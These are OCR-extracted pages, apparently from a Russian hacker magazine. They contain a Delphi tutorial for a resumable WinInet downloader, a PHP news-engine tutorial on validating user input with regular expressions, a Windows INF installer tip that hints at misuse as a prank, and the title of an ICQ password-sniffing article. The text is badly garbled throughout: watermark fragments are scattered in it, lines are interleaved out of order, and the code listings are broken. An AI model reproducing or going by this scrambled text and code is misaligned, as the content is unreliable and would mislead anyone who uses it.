Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
13
Добавлен:
20.04.2024
Размер:
14.62 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

6) function

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

InternetCloseHandle(hInet:

HINTERNET):

w Click

 

 

 

 

 

o

m

 

 

 

 

 

 

 

BOOL; stdcall;

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

-xcha

 

.c

 

Â

InternetCloseHandle

 

 

 

 

 

 

 

 

p

 

g

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

нет ничего

сложного. Эта

функция просто закрывает интер-

 

 

 

 

 

 

 

 

 

 

 

нет-сессию.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Все. С разбором функций мы

 

 

Их тебе хватит для написания прими-

 

 

 

 

 

 

 

 

 

 

 

тивного гетрайта :). А

закончили.

 

 

 

 

 

 

 

 

 

 

 

åñëè òû

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ознакомишься с MSDN'овскими доками и поймешь

 

 

 

 

 

 

 

 

 

 

 

работу потоков... Тогда я буду

 

 

скидки на твой VasyaExtraGet за 9.99$

 

 

 

 

 

 

 

 

 

 

 

 

 

ждать 80%

 

 

 

 

 

 

 

 

 

 

 

:). Так что закрывай журнальчик,

попей пивка, и садись кодить. Главное, не убей

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

правильное настроение. Если его пока нет, не

расстраивайся, будем писать вме-

 

 

 

 

 

 

 

 

 

 

 

ñòå :).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ИНТЕРФЕЙС

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Кидай на форму два TEdit,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

четыре TLabel, SaveDialog и 4 Кнопки. Постарайся рас-

 

 

 

 

 

 

 

 

 

 

 

положить это добро как на рис.1:

 

 

 

 

 

 

 

Форма в зачаточном состоянии

 

кнопки обзови (параметр

"caption"): "Загрузить",

Первые

3

"Отмена" и "Выход", а на чет-

вертой

поставь 3 точки. Label’ы будут называться

 

 

òàê:

 

label1: "Откуда качать?"

 

 

 

 

label2: "А куда сохранять?"

 

 

 

 

label3: "Размер файла:"

 

 

 

 

label4: "0"

 

 

 

 

В общем, постарайся соответствовать рисунку 2.

На нем все предельно ясно, так

÷òî

перейдем к самому процессу кодинга.

 

 

 

 

Форма в зрелом состоянии

 

КОДИНГ

 

 

 

 

 

 

 

 

 

 

 

Для начала добавь в

 

 

 

 

 

 

 

 

 

 

 

 

нужна

 

 

раздел public объявление переменной NADO:

boolean; (îíà

 

для прерывания загрузки),

 

 

 

 

 

 

ши туда такой код:

 

 

 

 

создай событие OnClick для 4-й кнопки и впи-

 

 

 

 

 

 

 

 

 

 

 

IF SaveDialog1.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Execute then Edit2.Text:= SaveDialog1.FileName;

 

 

Этот код добавлен, чтобы не

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вводить путь вручную. Теперь посмотри на код в

блок-врезке. Попытайся понять

 

 

 

 

 

 

 

 

Â

общем, набей его в свой

 

содержимое этого листинга. Понял? Не понял? :)

проект.

 

 

 

 

 

 

 

Логика работы программы такая.

 

 

 

 

 

 

 

 

ла. Если его нет, то качаем

 

Сначала мы проверяем наличие заданного фай-

ñ íóëÿ,

åñëè

же он существует, то за начальную по-

зицию для докачки берем размер

 

локального файла и подставляем

это значение

â

 

 

 

 

 

 

 

 

 

 

InternetSetFilePointer. Что мы и делаем.

Затем

циклически читаем по 1024 бай-

òà

îò

интернет-

 

 

 

 

 

 

 

Õîòÿ, íà

 

файла, пока не скачаем его целиком.

Это и будет конец загрузки.

 

 

 

 

случай ручного прерывания, впиши в OnClick

для 2-й кнопки такой код:

NADO:= FALSE

 

 

 

 

 

 

 

 

 

Все остальное ясно и по

 

 

 

 

 

 

 

 

 

 

перейду

к заключению.

комментариям, поэтому я протестирую эту

программу и

 

 

 

 

 

 

 

 

 

5

МИНУТ - ПОЛЕТ НОРМАЛЬНЫЙ

 

 

Я запустил закачку

файла, но в середине процесса у меня подло

 

прервалась

связь (случайно задел момед

 

ногой, он упал со стола и выдернулся

 

÷òî

 

 

 

 

 

 

 

èç ñåòè), çà

я и словил известное тебе сообщение.

Подняв модем и восстановив коннект,

я запустил

докачку и успешно слил

 

 

 

 

 

 

 

файл. Заметь, с весьма неплохой

 

скоростью,

а все это благодаря компании

майкрософт и нашим с тобой прямым

 

 

 

 

 

 

 

 

 

 

 

ручкам.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

79

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

Даунлоад комплит!

 

 

 

 

 

ЗАКЛЮЧЕНИЕ

 

 

 

Программа

 

 

 

 

 

 

 

получилась очень простой, и в твоих руках возможность

довести ее до

нужного уровня: убрать цикл в

 

 

 

 

 

 

отдельный поток, а иначе будет тормозить интерфейс,

добавить различные прогрессбары и прочую

 

этом писал

 

раз). Исходники, как всегда, можешь взять

íà

приятную лабуду (][ об

íå

сайте www.

 

online - не будем нарушать

 

 

 

cydsoft.com/vr-

 

 

 

 

все. Удачи тебе и до но-

 

вых встреч в эфире.

традицию. На этом

 

 

 

 

 

 

 

 

Листинг

 

 

 

 

 

 

TForm1.BitBtn1Click

 

procedure TForm1.

 

 

 

 

 

 

var F: File;

 

 

 

 

BitBtn1Click(Sender: TObject);

 

 

 

ResumePos,BufferLen,SumSize: DWORD;

 

 

 

hSession, hURL: HInternet;

 

 

 

 

 

Buffer: array[1..

 

 

 

 

 

 

err: boolean;

 

1024] of Byte;

 

 

 

 

 

 

 

 

 

 

 

begin

 

 

 

 

 

 

 

 

 

 

 

SumSize:=0;

ResumePos:=0;

//Инициализируемся

 

 

 

AssignFile (F,Edit2.Text); //Свяжемся с файлом

 

 

 

IF FileExists

(Edit2.Text) then //Есть ли на диске этот файл

 

 

 

begin

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Reset(f,1);

//Àõ,

есть? Откроем!

 

 

 

ResumePos:=FileSize(F);

//Откуда докачать

 

 

 

Seek(F, FileSize(F)); //А писать будем в конец

 

 

 

end else ReWrite(f,1); //А раз нет, так создадим

 

 

 

NADO:= TRUE; //Надо качать...

 

 

 

 

 

//Открыли сессию

 

 

 

 

 

 

 

 

hSession:= InternetOpen('X-

 

 

 

 

 

 

 

 

 

 

 

Kachalka',PRE_CONFIG_

 

 

 

//È íàø ÓÐË

 

 

 

 

 

INTERNET_

 

 

 

 

 

 

 

 

ACCESS,nil,nil,0);

 

hURL := InternetOpenURL(hSession,PChar(Edit1.

 

 

 

//Сколько там

íàø

файл весит?

Text),nil,0,0,0);

 

 

 

InternetQueryDataAvailable(hURL,

SumSize,0,0);

 

 

 

label4.

 

 

 

 

 

 

 

 

 

Caption:= IntToStr (SumSize); //Сообщим об этом

 

 

 

if

 

 

 

 

 

докачиваем,

 

 

 

 

ResumePos>0 then //Åñëè

 

 

 

 

begin

 

 

 

 

 

 

 

 

 

 

 

InternetSetFilePointer(hURL,ResumePos,nil,0,0); //То сместимся

 

end;

 

 

 

 

 

 

 

 

 

 

 

REPEAT //Качаем

 

 

 

 

 

 

 

 

err:= InternetReadFile(hURL,

@Buffer,SizeOf(Buffer),BufferLen);

//Читаем буфер

 

 

IF err= false then //Ошибка чтения

 

 

 

begin

 

 

 

 

 

 

 

 

 

 

 

ShowMessage

('Произошел

облом :('); //Сообщим и выходим

 

 

exit;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

end;

 

 

 

 

 

 

 

 

 

 

 

BlockWrite(f, Buffer,

BufferLen); //Пишем в файл

 

 

 

Application.

 

 

 

 

 

 

 

 

 

 

 

Processmessages;

 

 

 

 

 

 

UNTIL (BufferLen= 0) Or

 

 

 

èëè íàäî

 

 

ShowMessage

 

 

 

 

(NADO= FALSE); //Качаем, пока не все

 

 

('Успешно загружено!');

 

 

 

 

end;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

P

 

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

to

BUY

NOW!

 

 

 

Кодинг

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

o

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

SLASHDOT? НА PHP - ХАЛЯВА! #2

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Никита «Nikitos» Кислицин

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

(nikitoz@real.xakep.ru) http://nikitos.inc.ru

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

НОВОСТНОЙ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ДВИЖОК

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Выражайся

регулярно!

àâòî-

 

 

 

 

 

 

 

В предыдущем

номере

я начал рассказывать

о создании собственного

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Напомню, тогда мы описали целый

 

 

 

 

 

 

 

 

 

 

матизированного

новостного портала

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

функций, которые планировалось

использо

 

 

 

 

 

 

 

 

 

 

ряд узкоспециализированных

 

пойдет о

 

 

 

 

 

 

 

 

 

 

 

 

 

. Сегодня же речь

 

 

 

 

 

 

 

 

 

 

 

âàòü

непосредственно в создаваемой системе

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Также

мы затро

 

 

 

 

 

 

 

 

концепции построения

подобных информационных

систем

 

 

 

 

 

 

 

 

 

 

 

 

для защиты скриптов

 

 

 

 

 

 

 

 

 

 

 

и их использования

 

 

 

 

 

 

 

 

 

 

нем тему регулярных выражений

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

îò

 

 

 

.

Это один из важнейших аспектов веб-программирова

 

 

 

 

 

 

 

 

злоумышленников

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

íèÿ,

и в нем тебе предстоит разобраться

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.inc.ru

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.xakep.ru) http://nikitos

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Никита «Nikitos» Кислицин (nikitoz@real

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Концепт

файл, в котором описан целый ряд высокоуровневых

ôóíê-

Итак, есть модульный

 

ñî-

 

 

 

 

 

конструктора "Лего". Из них требуется

ций. Фактически, это кубики, элементы

 

некоторую

важность для сборщика :). Код

брать единое целое, представляющее

â

зависимости от

передаваемого сценарию

скрипта строится следующим образом:

 

 

 

 

 

 

 

их некоторым образом,

параметра

вызываются те

или иные функции. Комбинируя

 

 

 

 

 

 

íå-

 

очень наглядный сценарий. Он компактный,

удобочитаемый и, что

мы получаем

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Дело в том, что модульная организа-

маловажно, эффективный

в плане ресурсов

 

 

 

 

 

 

позволяет доволь-

ция приложений (любых, неважно на каком языке они написаны)

 

 

 

 

-

но сильно экономить

память. Так, например, при вызове

сценария с сотней исполь

Если же существенная их

 

âñå

 

 

 

 

 

 

 

 

.

зуемых переменных,

 

они разом инициализируются

 

 

 

 

 

òî è ïàìÿ-

 

 

 

 

 

 

 

 

лишь по мере необходимости,

часть используются

в блоках, вызываемых

 

 

 

 

 

 

 

 

 

 

 

ëèøü ïðè âûçî-

 

 

 

 

меньше, поскольку переменные создаются

ти будет расходоваться

 

 

 

 

 

 

 

 

 

 

 

. Конечно, в небольших сценариях

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ве функции и уничтожаются

при ее завершении

 

 

крупных проектов, рассчи-

 

 

 

действительно

ýòî

не так важно, однако

при написании

 

 

 

нельзя. Экономия ресурсов может

 

большую

нагрузку, этим пренебрегать

танных на

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Возвращаясь к описываемому случаю, следует

быть очень и очень существенной

 

 

 

в таком подходе нет, организовывать

заметить, что, хоть

 

жесткой необходимости

 

 

 

 

 

 

которая в будущем, ес-

 

 

 

 

 

 

- замечательная привычка,

свои приложения таким образом

 

 

 

 

 

òåáå

 

 

 

 

 

 

 

 

поможет сэкономить

ли ты, конечно,

будешь заниматься программированием,

 

 

 

 

известно, имеют

 

 

 

 

 

 

А обе эти неосязаемые

субстанции, как

кучу времени и нервов.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

свойство уходить безвозвратно

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Рассмотрим этот прием

более подробно на примере: допишем

наш маленький

переменной

$do

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Есть скрипт index.php, если ему не передано значение

 

 

 

 

 

 

 

-

slashdot

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

(это определяющий действия

сценария параметр), то он показывает

строчку нави

è

 

пишем:

<?

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Òàê

 

 

гации по

разделам

и последние

добавленные

публикации

 

 

 

 

 

 

 

-

If(!isset($do)) { navigation(); showposts();

}?>. Коротко и ясно - в стиле php :). Напом

 

 

 

 

 

из параметров предусмотрены

ню, что в описании функции showposts для каждого

 

 

 

 

 

 

 

 

 

 

 

.

значения

по умолчанию,

которые в данном случае нас полностью

удовлетворяют

 

 

создавая для

 

 

информацию о последних 20

постингах,

Ýòîò êîä

выводит краткую

 

 

âèä:

<a

 

 

 

"[more...]",

имеющие

 

следующий

каждого

èç

íèõ

ссылки

 

 

 

 

 

 

 

 

 

что при нажатии на такой линк,

 

 

 

 

 

 

 

 

. Легко заметить,

href='?do=read&pid=$res[pid]'>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Подразуме

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

_публикации

 

 

 

 

скрипту будут переданы параметры

do=read и pid=номер

 

 

 

 

 

 

 

 

 

 

 

 

 

 

функция просмотра статьи $pid:

 

 

вается, что для $do="read" предусмотрена

 

 

 

 

 

 

 

 

showcomments($pid);

<?

If($do=="read")

 

 

 

 

{showpost($pid);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

addcommentform($pid);}?>

 

 

 

 

 

 

 

 

 

 

-форму для отправки комментария к

Функция addcommentform($pid)

создает html

 

 

 

 

 

 

 

 

 

 

 

 

 

-

публикации, в скрытом поле которой параметр $do определяется

êàê "addcom

 

 

 

 

-

ment". Код для этого состояния не заставляет

себя долго ждать: <? If($do=="add

 

 

 

$pid);}?>. Все принимаемые

comment") {addcomment($aname,

$aemail, $comment,

 

скрытого поля.

 

 

 

из формы, $pid - из ее

 

 

 

функцией параметры получаются

Название

 

 

 

выводимую функцией navigation()!

Совсем забыл про строку навигации,

 

 

 

 

 

 

 

нажатии

на которую пользователю

каждой

рубрики

представляет собой ссылку, при

 

 

do

в этом случае

 

 

 

 

 

ïî

 

определенной тематике. Параметр

будут показаны публикации

 

 

 

 

 

 

 

этого

 

 

 

 

 

 

 

рубрики

называется cat. Обработчик

имеет значение view, а идентификатор

show-

 

 

 

âèä: <? If($do=="view")

{

состояния переменной $do имеет

следующий

 

show-

 

 

 

 

 

случае при вызове функции

posts($cat,,)} ?>. Следует

отметить, что в этом

 

 

 

 

 

 

 

 

 

 

 

 

значения остальных

остаются де-

posts переопределяется

лишь один параметр,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

. Все, мы дописали

юзерскую часть интерфейса

 

 

 

 

 

 

 

 

фолтными

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Необычные юзеры

 

 

-

 

 

 

. Забыли,

что среди обычных пользовате

 

 

-что забыли

 

 

 

. Ïðî-

Ничего не забыли? Верно, кое

 

 

 

 

лей встречаются пользователи необычные,

любознательные и злонамеренные

 

 

 

. Ñà-

блема заключается

в том, что система наша никак

не защищена

от их деяний

 

входных

 

ключ к решению этой проблемы - отсеивание

мый простой и действенный

 

 

 

 

 

.

параметров, определяемых

либо напрямую, либо косвенно пользователем

 

 

 

 

 

 

 

Система в работе

80

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Результат

 

 

 

 

è

 

 

доверительной настройки интерпретатора

использование дырявой версии php :)

 

Помни: никогда

 

пользователю. Если пользо-

ватель

 

нельзя доверять

 

 

может что-то сделать, то он обязательно это сделает!

Íî íåò

 

 

 

 

 

какие

необходимости часами ломать голову над тем, через

æå äûðû è

каким образом

злоумышленник может на-

вредить системе. Куда проще не пускать к обработке данные,

имеющие

заведомо

 

 

статьи

может

 

неверный формат. Так, например, номер

состоять только из цифр, причем

их должно

 

 

быть разумное

 

 

 

 

 

 

 

количество. Для сравнения строк с заданным

шаблоном в PHP

 

 

регулярных

выражений.

реализованы функции unix'овых

 

 

 

 

логия,

 

Это, надо заметить, чрезвычайно гибкая техно-

используемая уже несколько лет. Регулярное выраже-

 

 

ние является

 

 

 

 

искомой

шаблоном, описывающим природу и структуру

 

 

строки. Функция ereg(regexp, string) возвращает ло-

гическое true, если

 

 

exp.

 

 

 

 

строка string соответствует шаблону reg-

 

 

 

 

основной задачей будет составление это-

Очевидно, что

го самого

 

 

 

 

символов,

 

 

шаблона. Он собирается из конкретных

диапазонов

 

 

 

 

 

 

 

значений и специальных знаков, накладывающих

дополнительные

 

 

 

 

 

 

 

ограничения на структуру строки. Диапазон

символов берется в

 

 

значает любую

 

квадратные скобки. Например [a-z] обо-

латинскую букву нижнего регистра,

à [0-9] ýê-

вивалентно

 

любой

цифре. Несколько конкретных

символов

могут

 

 

 

 

 

 

 

 

 

перечисляться без всякого разделителя также внутри

[]. Ставя ^

 

 

 

и $ в ее конце,

програм-

 

 

перед искомой строкой

мист указывает,

строка обязательно должна начинаться и

заканчиваться

÷òî

 

 

 

 

дывать

 

 

указанными символами. Можно также накла-

ограничения

на количество

указанных знаков, ставя

после

 

 

 

 

символов пару

чисел формата {x, y}, оп-

перечисления

ределяющих,

 

 

 

 

 

 

 

соответственно, минимальное и максимальное

количество знаков в строке.

 

 

Отличная

книга

ïî

 

регулярным

выражением.

Впрочем,

 

O'Reilly плохих книг не выпускает

 

Примеры.

^x{2,3}$ соответствует "xx" и "xxx", .{2}

- любому

удвоенному

 

символу,

à

^[a-zA-Z0-9]{1,40}@[a-zA-Z0-

9]{3,30}.[a-zA-Z0-9\.]{2,40}$

задает e-mail. До знака "@" сто-

ит не более 40

 

латинских знаков или цифр. После

"@" è äî

"." не более

30

аналогичных символов. После первой точки

допускается

 

 

наличие не более сорока символьных знаков, не

исключается

также и

наличие точек. Это необходимо, если,

например,

 

e-

 

 

 

 

 

 

 

третьего

уровня.

 

mail юзера функционирует на домене

 

 

 

 

 

 

 

 

 

 

Теперь ты можешь

написать

ряд функций для проверки ва-

лидности

 

 

 

 

 

 

 

 

 

 

 

 

 

Обраба-

получаемых от пользователя параметров.

тывать

 

 

 

 

 

 

 

 

 

 

некорректные в синтаксическом смысле данные опас-

но. Прежде

÷åì

 

скармливать какую-либо информацию функ-

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

öèè,

 

 

 

 

 

 

 

-x cha

 

 

 

 

взаимодействующей с базой данных,

 

 

 

 

 

 

 

 

 

 

 

 

метр, для чего очень удобно

обязательно надо проверять каждый пара-

 

 

 

 

 

 

 

пользоваться описанными

блоками.

Например, проце-

 

 

 

 

 

 

 

дура проверки

валидности адреса электронной почты:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

function isemail($email)

 

 

 

 

 

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if(ereg("^[a-zA-Z0-

 

 

$email))

 

 

 

 

 

 

 

 

 

 

 

9]{1,40}@[a-zA-Z0-9]{3,30}.[a-zA-Z0-9\.]{2,40}$",

 

 

 

 

 

 

 

 

 

 

}

{ return true; } else {return false;}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

По аналогии работают и остальные

 

 

 

 

 

 

 

 

 

 

 

 

 

 

функции, надеюсь, ты их запросто напишешь.

 

 

 

 

 

 

 

 

 

Административный интерфейс

 

 

 

 

 

 

 

 

 

 

Введен неверный пароль

Форма

 

 

 

 

 

 

 

 

аутентификации администратора

 

 

 

 

Административный интерфейс

 

 

 

 

 

ций (авторизация, просмотр списка

создается таким же образом. Описывается ряд

ôóíê-

статей,

 

 

 

 

ции и т.д.) и по аналогии с

 

добавление/удаление/редактирование публика-

 

 

приведенным примером из них собирается единый блок.

 

Стоит лишь заметить, что для административного

интерфейса проблемы безопаснос-

ти также

актуальны. Так что уж, по крайней мере,

 

функцию

авторизации пользователя

надо писать как следует.

Удачи. Забрать

конечную версию

 

 

системы можно как

всегда

с моего сайта, либо с диска. Если

÷òî-òî

 

 

 

 

 

 

не получается, пиши, постараюсь помочь.

Tips&Tricks

Средствами виндов можно сделать инсталлятор. Есть такие файлы INF. Запускаются они строчкой "C:\WIN98\rundll.exe setupx.dll,InstallHinfSection DefaultInstall 132". Файло разбито на секции. [DestinationDirs] – диры, куда и откуда копировать/удалять. Тут все легко. Потом в любой секции в начале пишешь: AddReg=mazafaka.addreg - добавить в реестр, DelReg=mazafaka.delreg – удалить, CopyFiles=mazafaka.copyfiles - копирить файло,

DelFiles=mazafaka.delfiles – удалить. Еще есть очень много секций: UpdateIni,RemoveBackUp и т. д. Места не хватит описывать. Загляни в %windir%\inf\, там по- читаешь, что написали другие! Изучай все Методом_Тыка, и у тебя все получится.

ÇÛ. Можно из этого сделать "свинью". ;)

Спиридонов Стас aka V4nD4LL v4nd4ll@samtel.ru

81

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

BUY

 

 

d

 

Кодинг

 

 

F

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

ПЕРЕХВАТ ICQ ПАРОЛЕЙ

КонстантинICQКлягин http://konst.org.ua Стряпаем

Перехват паролей снифер на коленке

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 
